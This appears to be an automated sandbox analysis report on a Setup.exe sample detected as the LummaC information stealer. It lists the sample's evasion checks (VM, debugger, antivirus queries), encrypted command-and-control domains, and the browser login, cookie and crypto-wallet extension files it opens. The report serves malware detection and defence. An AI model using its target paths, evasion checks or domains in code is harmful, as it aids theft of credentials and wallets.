Source: C:\Users\user\Desktop\Setup.exe	Code function: 0_2_00CA7A66 push ecx; ret	0_2_00CA7A79
Source: C:\Users\user\Desktop\Setup.exe	Code function: 0_2_0146B767 push esp; ret	0_2_0146B769
Source: C:\Users\user\Desktop\Setup.exe	Code function: 0_2_0149A686 push eax; mov dword ptr [esp], 30313233h	0_2_0149A694
Source: C:\Users\user\Desktop\Setup.exe	Code function: 0_2_0148EBBE pushfd ; retf	0_2_0148EBBF
Source: C:\Users\user\Desktop\Setup.exe	Code function: 0_2_0149CFF6 push eax; mov dword ptr [esp], 3D3C3BEAh	0_2_0149CFF9

Source: C:\Users\user\Desktop\Setup.exe	Code function: 0_2_00B8DAFA IsWindowVisible,IsIconic,		0_2_00B8DAFA
Source: C:\Users\user\Desktop\Setup.exe	Code function: 0_2_00B9EF5C SetRectEmpty,RedrawWindow,ReleaseCapture,SetCapture,ReleaseCapture,SetCapture,SendMessageW,UpdateWindow,SendMessageW,IsWindow,IsIconic,IsZoomed,IsWindow,UpdateWindow,		0_2_00B9EF5C

Source: C:\Users\user\Desktop\Setup.exe	Registry key monitored for changes: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\AutoUpdate			Jump to behavior
Source: C:\Users\user\Desktop\Setup.exe	Registry key monitored for changes: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot			Jump to behavior

Source: C:\Users\user\Desktop\Setup.exe

Process information set: NOOPENFILEERRORBOX

Jump to behavior

Malware Analysis System Evasion

Query firmware table information (likely to detect VMs)

Source: C:\Users\user\Desktop\Setup.exe

System information queried: FirmwareTableInformation

Jump to behavior

Source: C:\Users\user\Desktop\Setup.exe

API coverage: 5.3 %

Source: C:\Users\user\Desktop\Setup.exe TID: 5988	Thread sleep time: -180000s >= -30000s			Jump to behavior
Source: C:\Users\user\Desktop\Setup.exe TID: 7064	Thread sleep time: -30000s >= -30000s			Jump to behavior

Source: C:\Users\user\Desktop\Setup.exe

WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT * FROM Win32_BIOS

Source: C:\Users\user\Desktop\Setup.exe

Code function: 0_2_00B87018 __EH_prolog3_GS,GetFullPathNameW,PathIsUNCW,GetVolumeInformationW,CharUpperW,FindFirstFileW,FindClose,

0_2_00B87018

Source: C:\Users\user\Desktop\Setup.exe	File opened: C:\Users\user\AppData\Local\CEF	Jump to behavior
Source: C:\Users\user\Desktop\Setup.exe	File opened: C:\Users\user\AppData\Local\PeerDistRepub	Jump to behavior
Source: C:\Users\user\Desktop\Setup.exe	File opened: C:\Users\user\AppData\Local\PlaceholderTileLogoFolder	Jump to behavior
Source: C:\Users\user\Desktop\Setup.exe	File opened: C:\Users\user\AppData\Local\Packages	Jump to behavior
Source: C:\Users\user\Desktop\Setup.exe	File opened: C:\Users\user\AppData\Local\Mozilla	Jump to behavior
Source: C:\Users\user\Desktop\Setup.exe	File opened: C:\Users\user\3D Objects	Jump to behavior

Source: Setup.exe, 00000000.00000003.2307165222.00000000042DA000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Canara Transaction PasswordVMware20,11696428655x
Source: Setup.exe, 00000000.00000003.2307165222.00000000042DA000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: discord.comVMware20,11696428655f
Source: Setup.exe, 00000000.00000003.2307165222.00000000042DA000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: interactivebrokers.co.inVMware20,11696428655d
Source: Setup.exe, 00000000.00000003.2307165222.00000000042DA000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - COM.HKVMware20,11696428655
Source: Setup.exe, 00000000.00000003.2307165222.00000000042DF000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: - GDCDYNVMware20,11696428655p
Source: Setup.exe, 00000000.00000003.2307165222.00000000042DA000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: global block list test formVMware20,11696428655
Source: Setup.exe, 00000000.00000003.2307165222.00000000042DA000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Canara Transaction PasswordVMware20,11696428655}
Source: Setup.exe, 00000000.00000002.2532291189.0000000001550000.00000004.00000020.00020000.00000000.sdmp, Setup.exe, 00000000.00000002.2532309256.0000000001578000.00000004.00000020.00020000.00000000.sdmp, Setup.exe, 00000000.00000003.2530723477.0000000001578000.00000004.00000020.00020000.00000000.sdmp, Setup.exe, 00000000.00000003.2362505878.0000000001578000.00000004.00000020.00020000.00000000.sdmp, Setup.exe, 00000000.00000003.2530354068.0000000001550000.00000004.00000020.00020000.00000000.sdmp, Setup.exe, 00000000.00000003.2362849825.0000000001578000.00000004.00000020.00020000.00000000.sdmp, Setup.exe, 00000000.00000003.2383462933.0000000001578000.00000004.00000020.00020000.00000000.sdmp, Setup.exe, 00000000.00000003.2530354068.0000000001578000.00000004.00000020.00020000.00000000.sdmp, Setup.exe, 00000000.00000003.2279005255.0000000001578000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: Setup.exe, 00000000.00000003.2307165222.00000000042DA000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - EU East & CentralVMware20,11696428655
Source: Setup.exe, 00000000.00000003.2307165222.00000000042DA000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Canara Change Transaction PasswordVMware20,11696428655^
Source: Setup.exe, 00000000.00000003.2307165222.00000000042DA000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: account.microsoft.com/profileVMware20,11696428655u
Source: Setup.exe, 00000000.00000003.2307165222.00000000042DA000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: secure.bankofamerica.comVMware20,11696428655\|UE
Source: Setup.exe, 00000000.00000003.2307165222.00000000042DA000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: www.interactivebrokers.comVMware20,11696428655}
Source: Setup.exe, 00000000.00000003.2307165222.00000000042DA000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - GDCDYNVMware20,11696428655p
Source: Setup.exe, 00000000.00000003.2307165222.00000000042DA000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - EU WestVMware20,11696428655n
Source: Setup.exe, 00000000.00000003.2307165222.00000000042DA000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: outlook.office365.comVMware20,11696428655t
Source: Setup.exe, 00000000.00000003.2307165222.00000000042DA000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: microsoft.visualstudio.comVMware20,11696428655x
Source: Setup.exe, 00000000.00000003.2307165222.00000000042DA000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Canara Change Transaction PasswordVMware20,11696428655
Source: Setup.exe, 00000000.00000003.2307165222.00000000042DA000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: outlook.office.comVMware20,11696428655s
Source: Setup.exe, 00000000.00000003.2307165222.00000000042DA000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: www.interactivebrokers.co.inVMware20,11696428655~
Source: Setup.exe, 00000000.00000003.2307165222.00000000042DA000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: ms.portal.azure.comVMware20,11696428655
Source: Setup.exe, 00000000.00000003.2307165222.00000000042DA000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: AMC password management pageVMware20,11696428655
Source: Setup.exe, 00000000.00000003.2307165222.00000000042DA000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: tasks.office.comVMware20,11696428655o
Source: Setup.exe, 00000000.00000003.2307165222.00000000042DA000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - NDCDYNVMware20,11696428655z
Source: Setup.exe, 00000000.00000003.2307165222.00000000042DA000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: turbotax.intuit.comVMware20,11696428655t
Source: Setup.exe, 00000000.00000003.2307165222.00000000042DA000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: interactivebrokers.comVMware20,11696428655
Source: Setup.exe, 00000000.00000003.2307165222.00000000042DA000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - non-EU EuropeVMware20,11696428655
Source: Setup.exe, 00000000.00000003.2307165222.00000000042DA000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: dev.azure.comVMware20,11696428655j
Source: Setup.exe, 00000000.00000003.2307165222.00000000042DA000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: netportal.hdfcbank.comVMware20,11696428655
Source: Setup.exe, 00000000.00000003.2307165222.00000000042DF000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: YNVMware
Source: Setup.exe, 00000000.00000003.2307165222.00000000042DA000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - HKVMware20,11696428655]
Source: Setup.exe, 00000000.00000002.2532309256.0000000001578000.00000004.00000020.00020000.00000000.sdmp, Setup.exe, 00000000.00000003.2530723477.0000000001578000.00000004.00000020.00020000.00000000.sdmp, Setup.exe, 00000000.00000003.2362505878.0000000001578000.00000004.00000020.00020000.00000000.sdmp, Setup.exe, 00000000.00000003.2362849825.0000000001578000.00000004.00000020.00020000.00000000.sdmp, Setup.exe, 00000000.00000003.2383462933.0000000001578000.00000004.00000020.00020000.00000000.sdmp, Setup.exe, 00000000.00000003.2530354068.0000000001578000.00000004.00000020.00020000.00000000.sdmp, Setup.exe, 00000000.00000003.2279005255.0000000001578000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAWL
Source: Setup.exe, 00000000.00000003.2307165222.00000000042DA000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: bankofamerica.comVMware20,11696428655x
Source: Setup.exe, 00000000.00000003.2307165222.00000000042DA000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: trackpan.utiitsl.comVMware20,11696428655h
Source: Setup.exe, 00000000.00000003.2307165222.00000000042DA000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Test URL for global passwords blocklistVMware20,11696428655

Source: C:\Users\user\Desktop\Setup.exe

Process information queried: ProcessInformation

Jump to behavior

Source: C:\Users\user\Desktop\Setup.exe

Code function: 0_2_00CAC43B IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,

0_2_00CAC43B

Source: C:\Users\user\Desktop\Setup.exe

Code function: 0_2_00B65C23 OutputDebugStringA,GetLastError,

0_2_00B65C23

Source: C:\Users\user\Desktop\Setup.exe

Code function: 0_2_00BE7B56 LoadLibraryA,GetProcAddress,VirtualAlloc,

0_2_00BE7B56

Source: C:\Users\user\Desktop\Setup.exe	Code function: 0_2_00CB8843 mov eax, dword ptr fs:[00000030h]	0_2_00CB8843
Source: C:\Users\user\Desktop\Setup.exe	Code function: 0_2_00CBAF0A mov eax, dword ptr fs:[00000030h]	0_2_00CBAF0A
Source: C:\Users\user\Desktop\Setup.exe	Code function: 0_2_01460299 mov edx, dword ptr fs:[00000030h]	0_2_01460299
Source: C:\Users\user\Desktop\Setup.exe	Code function: 0_2_01460859 mov eax, dword ptr fs:[00000030h]	0_2_01460859
Source: C:\Users\user\Desktop\Setup.exe	Code function: 0_2_01460C09 mov eax, dword ptr fs:[00000030h]	0_2_01460C09
Source: C:\Users\user\Desktop\Setup.exe	Code function: 0_2_01460EA8 mov eax, dword ptr fs:[00000030h]	0_2_01460EA8
Source: C:\Users\user\Desktop\Setup.exe	Code function: 0_2_01460EA9 mov eax, dword ptr fs:[00000030h]	0_2_01460EA9

Source: C:\Users\user\Desktop\Setup.exe	Code function: 0_2_00CAC43B IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,		0_2_00CAC43B
Source: C:\Users\user\Desktop\Setup.exe	Code function: 0_2_00CA7D39 SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,		0_2_00CA7D39

HIPS / PFW / Operating System Protection Evasion

LummaC encrypted strings found

Source: Setup.exe	String found in binary or memory: rapeflowwj.lat
Source: Setup.exe	String found in binary or memory: aspecteirs.lat
Source: Setup.exe	String found in binary or memory: energyaffai.lat
Source: Setup.exe	String found in binary or memory: crosshuaht.lat
Source: Setup.exe	String found in binary or memory: sustainskelet.lat
Source: Setup.exe	String found in binary or memory: grannyejh.lat
Source: Setup.exe	String found in binary or memory: locketplyxx.click
Source: Setup.exe	String found in binary or memory: necklacebudi.lat
Source: Setup.exe	String found in binary or memory: discokeyus.lat

Source: C:\Users\user\Desktop\Setup.exe

Code function: GetModuleHandleW,GetProcAddress,EncodePointer,DecodePointer,GetLocaleInfoW,

0_2_00B77B46

Source: C:\Users\user\Desktop\Setup.exe

Queries volume information: C:\ VolumeInformation

Jump to behavior

Source: C:\Users\user\Desktop\Setup.exe

Code function: 0_2_00CA8054 GetSystemTimeAsFileTime,GetCurrentThreadId,GetCurrentProcessId,QueryPerformanceCounter,

0_2_00CA8054

Source: C:\Users\user\Desktop\Setup.exe

Code function: 0_2_00CBB7D6 _free,_free,_free,GetTimeZoneInformation,_free,

0_2_00CBB7D6

Source: C:\Users\user\Desktop\Setup.exe

Code function: 0_2_00B645F7 SysAllocString,__EH_prolog3_GS,GetCurrentThread,GetCurrentThreadId,GetVersionExW,SysFreeString,

0_2_00B645F7

Source: C:\Users\user\Desktop\Setup.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Source: Setup.exe, 00000000.00000002.2532962391.0000000004283000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: %\Windows Defender\MsMpeng.exe
Source: Setup.exe, 00000000.00000003.2420387896.0000000004283000.00000004.00000800.00020000.00000000.sdmp, Setup.exe, 00000000.00000003.2383462933.000000000155F000.00000004.00000020.00020000.00000000.sdmp, Setup.exe, 00000000.00000003.2383462933.0000000001578000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: %ProgramFiles%\Windows Defender\MsMpeng.exe

Source: C:\Users\user\Desktop\Setup.exe

WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT * FROM AntiVirusProduct

Stealing of Sensitive Information

Yara detected LummaC Stealer

Source: Yara match	File source: Process Memory Space: Setup.exe PID: 6660, type: MEMORYSTR
Source: Yara match	File source: sslproxydump.pcap, type: PCAP
Source: Yara match	File source: decrypted.memstr, type: MEMORYSTR

Found many strings related to Crypto-Wallets (likely being stolen)

Source: Setup.exe, 00000000.00000003.2530949368.00000000015E3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: electrum
Source: Setup.exe, 00000000.00000002.2532309256.0000000001578000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Wallets/ElectronCash
Source: Setup.exe, 00000000.00000003.2362489132.00000000015D1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Jaxx Liberty
Source: Setup.exe, 00000000.00000002.2532309256.0000000001578000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: window-state.json
Source: Setup.exe, 00000000.00000003.2362706231.000000000158F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: %appdata%\Exodus\exodus.wallet
Source: Setup.exe, 00000000.00000003.2362489132.00000000015D1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: ExodusWeb3
Source: Setup.exe, 00000000.00000003.2530949368.00000000015E3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: ethereum
Source: Setup.exe, 00000000.00000003.2362849825.0000000001559000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: %localappdata%\Coinomi\Coinomi\wallets
Source: Setup.exe, 00000000.00000003.2362849825.0000000001559000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: keystore

Tries to harvest and steal browser information (history, passwords, etc)

Source: C:\Users\user\Desktop\Setup.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\onhogfjeacnfoofkfgppdlbmlmnplgbn	Jump to behavior
Source: C:\Users\user\Desktop\Setup.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ocjdpmoallmgmjbbogfiiaofphbjgchh	Jump to behavior
Source: C:\Users\user\Desktop\Setup.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fhbohimaelbohpjbbldcngcnapndodjp	Jump to behavior
Source: C:\Users\user\Desktop\Setup.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\cert9.db	Jump to behavior
Source: C:\Users\user\Desktop\Setup.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\History	Jump to behavior
Source: C:\Users\user\Desktop\Setup.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hifafgmccdpekplomjjkcfgodnhcellj	Jump to behavior
Source: C:\Users\user\Desktop\Setup.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bhhhlbepdkbapadjdnnojkbgioiodbic	Jump to behavior
Source: C:\Users\user\Desktop\Setup.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\History	Jump to behavior
Source: C:\Users\user\Desktop\Setup.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mcohilncbfahbmgdjkbpemcciiolgcge	Jump to behavior
Source: C:\Users\user\Desktop\Setup.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Data	Jump to behavior
Source: C:\Users\user\Desktop\Setup.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mopnmbcafieddcagagdcbnhejhlodfdd	Jump to behavior
Source: C:\Users\user\Desktop\Setup.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aiifbnbfobpmeekipheeijimdpnlpgpp	Jump to behavior
Source: C:\Users\user\Desktop\Setup.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kppfdiipphfccemcignhifpjkapfbihd	Jump to behavior
Source: C:\Users\user\Desktop\Setup.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ilgcnhelpchnceeipipijaljkblbcob	Jump to behavior
Source: C:\Users\user\Desktop\Setup.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ppbibelpcjmhbdihakflkdcoccbgbkpo	Jump to behavior
Source: C:\Users\user\Desktop\Setup.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cpojfbodiccabbabgimdeohkkpjfpbnf	Jump to behavior
Source: C:\Users\user\Desktop\Setup.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kkpllkodjeloidieedojogacfhpaihoh	Jump to behavior
Source: C:\Users\user\Desktop\Setup.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mkpegjkblkkefacfnmkajcjmabijhclg	Jump to behavior
Source: C:\Users\user\Desktop\Setup.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\cookies.sqlite	Jump to behavior
Source: C:\Users\user\Desktop\Setup.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dkdedlpgdmmkkfjabffeganieamfklkm	Jump to behavior
Source: C:\Users\user\Desktop\Setup.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nlgbhdfgdhgbiamfdfmbikcdghidoadd	Jump to behavior
Source: C:\Users\user\Desktop\Setup.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bfnaelmomeimhlpmgjnjophhpkkoljpa	Jump to behavior
Source: C:\Users\user\Desktop\Setup.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\anokgmphncpekkhclmingpimjmcooifb	Jump to behavior
Source: C:\Users\user\Desktop\Setup.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\pioclpoplcdbaefihamjohnefbikjilc	Jump to behavior
Source: C:\Users\user\Desktop\Setup.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nngceckbapebfimnlniiiahkandclblb	Jump to behavior
Source: C:\Users\user\Desktop\Setup.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data	Jump to behavior
Source: C:\Users\user\Desktop\Setup.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fihkakfobkmkjojpchpfgcmhfjnmnfpi	Jump to behavior
Source: C:\Users\user\Desktop\Setup.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hnfanknocfeofbddgcijnmhnfnkdnaad	Jump to behavior
Source: C:\Users\user\Desktop\Setup.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jiidiaalihmmhddjgbnbgdfflelocpak	Jump to behavior
Source: C:\Users\user\Desktop\Setup.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\blnieiiffboillknjnepogjhkgnoapac	Jump to behavior
Source: C:\Users\user\Desktop\Setup.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\infeboajgfhgbjpjbeppbkgnabfdkdaf	Jump to behavior
Source: C:\Users\user\Desktop\Setup.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fhmfendgdocmcbmfikdcogofphimnkno	Jump to behavior
Source: C:\Users\user\Desktop\Setup.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nanjmdknhkinifnkgdcggcfnhdaammmj	Jump to behavior
Source: C:\Users\user\Desktop\Setup.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\formhistory.sqlite	Jump to behavior
Source: C:\Users\user\Desktop\Setup.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bcopgchhojmggmffilplmbdicgaihlkp	Jump to behavior
Source: C:\Users\user\Desktop\Setup.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Network\Cookies	Jump to behavior
Source: C:\Users\user\Desktop\Setup.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\opcgpfmipidbgpenhmajoajpbobppdil	Jump to behavior
Source: C:\Users\user\Desktop\Setup.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jnlgamecbpmbajjfhmmmlhejkemejdma	Jump to behavior
Source: C:\Users\user\Desktop\Setup.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ojggmchlghnjlapmfbnjholfjkiidbch	Jump to behavior
Source: C:\Users\user\Desktop\Setup.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lkcjlnjfpbikmcmbachjpdbijejflpcm	Jump to behavior
Source: C:\Users\user\Desktop\Setup.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\imloifkgjagghnncjkhggdhalmcnfklk	Jump to behavior
Source: C:\Users\user\Desktop\Setup.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\Cookies	Jump to behavior
Source: C:\Users\user\Desktop\Setup.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nlbmnnijcnlegkjjpcfjclmcfggfefdm	Jump to behavior
Source: C:\Users\user\Desktop\Setup.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\oeljdldpnmdbchonielidgobddfffla	Jump to behavior
Source: C:\Users\user\Desktop\Setup.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\loinekcabhlmhjjbocijdoimmejangoa	Jump to behavior
Source: C:\Users\user\Desktop\Setup.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fijngjgcjhjmmpcmkeiomlglpeiijkld	Jump to behavior
Source: C:\Users\user\Desktop\Setup.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jgaaimajipbpdogpdglhaphldakikgef	Jump to behavior
Source: C:\Users\user\Desktop\Setup.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dlcobpjiigpikoobohmabehhmhfoodbb	Jump to behavior
Source: C:\Users\user\Desktop\Setup.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\heefohaffomkkkphnlpohglngmbcclhi	Jump to behavior
Source: C:\Users\user\Desktop\Setup.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles	Jump to behavior
Source: C:\Users\user\Desktop\Setup.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\oeljdldpnmdbchonielidgobddfffla	Jump to behavior
Source: C:\Users\user\Desktop\Setup.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jbdaocneiiinmjbjlgalhcelgbejmnid	Jump to behavior
Source: C:\Users\user\Desktop\Setup.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\ilgcnhelpchnceeipipijaljkblbcob	Jump to behavior
Source: C:\Users\user\Desktop\Setup.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cjelfplplebdjjenllpjcblmjkfcffne	Jump to behavior
Source: C:\Users\user\Desktop\Setup.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nkddgncdjgjfcddamfgcmfnlhccnimig	Jump to behavior
Source: C:\Users\user\Desktop\Setup.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lgmpcpglpngdoalbgeoldeajfclnhafa	Jump to behavior
Source: C:\Users\user\Desktop\Setup.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fcfcfllfndlomdhbehjjcoimbgofdncg	Jump to behavior
Source: C:\Users\user\Desktop\Setup.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data	Jump to behavior
Source: C:\Users\user\Desktop\Setup.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data For Account	Jump to behavior
Source: C:\Users\user\Desktop\Setup.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\onofpnbbkehpmmoabgpcpmigafmmnjh	Jump to behavior
Source: C:\Users\user\Desktop\Setup.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lodccjjbdhfakaekdiahmedfbieldgik	Jump to behavior
Source: C:\Users\user\Desktop\Setup.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\gaedmjdfmmahhbjefcbgaolhhanlaolb	Jump to behavior
Source: C:\Users\user\Desktop\Setup.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\egjidjbpglichdcondbcbdnbeeppgdph	Jump to behavior
Source: C:\Users\user\Desktop\Setup.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cihmoadaighcejopammfbmddcmdekcje	Jump to behavior
Source: C:\Users\user\Desktop\Setup.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\idnnbdplmphpflfnlkomgpfbpcgelopg	Jump to behavior
Source: C:\Users\user\Desktop\Setup.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\phkbamefinggmakgklpkljjmgibohnba	Jump to behavior
Source: C:\Users\user\Desktop\Setup.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cnmamaachppnkjgnildpdmkaakejnhae	Jump to behavior
Source: C:\Users\user\Desktop\Setup.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lpfcbjknijpeeillifnkikgncikgfhdo	Jump to behavior
Source: C:\Users\user\Desktop\Setup.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mnfifefkajgofkcjkemidiaecocnkjeh	Jump to behavior
Source: C:\Users\user\Desktop\Setup.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ejjladinnckdgjemekebdpeokbikhfci	Jump to behavior
Source: C:\Users\user\Desktop\Setup.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aflkmfhebedbjioipglgcbcmnbpgliof	Jump to behavior
Source: C:\Users\user\Desktop\Setup.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cnncmdhjacpkmjmkcafchppbnpnhdmon	Jump to behavior
Source: C:\Users\user\Desktop\Setup.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ejbalbakoplchlghecdalmeeeajnimhm	Jump to behavior
Source: C:\Users\user\Desktop\Setup.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\amkmjjmmflddogmhpjloimipbofnfjih	Jump to behavior
